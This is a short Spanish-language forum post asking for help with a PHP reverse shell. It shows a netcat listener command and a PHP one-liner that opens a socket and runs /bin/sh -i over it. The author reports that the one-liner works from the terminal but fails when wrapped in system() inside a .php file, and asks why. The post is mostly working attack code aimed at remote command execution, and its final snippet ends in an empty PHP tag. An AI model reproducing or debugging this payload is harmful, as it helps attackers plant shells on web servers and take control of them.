si pongo netcat a la escucha en el puerto 5000:
Código
netcat -l -p 5000 -vv
y en otra terminal ejecuto esto:
Código
php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'
me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:
//NO ME FUNCIONA, No devuelve la shell
Código
<?php $ultima_linea = system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval); ?>
o esto:
//NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
Código
<?php ?>